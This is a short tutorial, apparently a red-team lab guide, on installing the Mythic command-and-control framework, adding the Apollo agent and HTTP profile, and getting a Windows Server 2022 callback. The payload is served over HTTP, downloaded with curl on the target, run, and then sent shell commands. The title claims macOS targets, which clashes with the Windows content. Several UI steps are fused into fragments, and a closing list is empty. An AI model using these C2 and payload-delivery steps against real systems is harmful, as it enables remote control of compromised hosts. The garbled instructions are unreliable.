Mythic as a C2 for macOS targets:
This guide shows how to install Mythic C2 on Kali, configure it, and get a first Windows callback using the Apollo agent and HTTP C2 profile.
Official installation docs:
https://docs.mythic-c2.net/installation
Create a tools folder and clone the Mythic repo:
mkdir ~/tools
cd ~/tools
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
Install Docker and Docker Compose using Mythic’s helper script (Kali example):
sudo ./install_docker_kali.sh
For Ubuntu or Debian, use:
sudo ./install_docker_ubuntu.sh
# or
sudo ./install_docker_debian.sh
Build the Mythic CLI binary from the main Mythic folder:
sudo make
Generate the mythic.env config file:
sudo ./mythic-cli status
View the generated configuration:
cat mythic.env
This file contains database credentials, RabbitMQ passwords, the Mythic admin password, ports, and more.
Start Mythic:
sudo ./mythic-cli start
Wait until all services, including GraphQL, are ready.
Open the web UI in a browser on the Mythic host:
https://127.0.0.1:7443
Accept the certificate warning.
Login credentials:
mythic_adminPassword (from mythic.env):
grep -i mythic_admin_password mythic.env
Paste that value into the password field and log in.
Install the bundle of C2 profiles:
sudo ./mythic-cli install github https://github.com/its-a-feature/Mythic_C2_Profiles.git
In the web UI:
Set:
port: 443
use_ssl: true
Install Apollo:
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo.git
Restart Mythic:
sudo ./mythic-cli restart
After services are back up, in the web UI go to Installed Services → Payload Types and confirm that Apollo is listed.
In the web UI:
win.exewhoami).Set Callback host to your Mythic server IP, for example:
https://10.10.10.140
443.A1Apollo payload with HTTP profileA1.exe.On the Mythic/Kali host, serve the payload via a simple HTTP server:
cd ~/Downloads # or wherever A1.exe is
python3 -m http.server 8000
On the Windows Server 2022 target:
cd C:\Users\Administrator\Downloads
curl http://10.10.10.140:8000/A1.exe -o A1.exe
A1.exe
The console will appear to hang; that indicates the agent is running.
Back in the Mythic web UI:
In the interaction console, run:
help
Then, for example:
shell ipconfig /all
When the agent checks in, it will execute the command and return the output in the UI.
You now have:
From here, you can explore additional agents, profiles, and more advanced configuration in the Mythic documentation.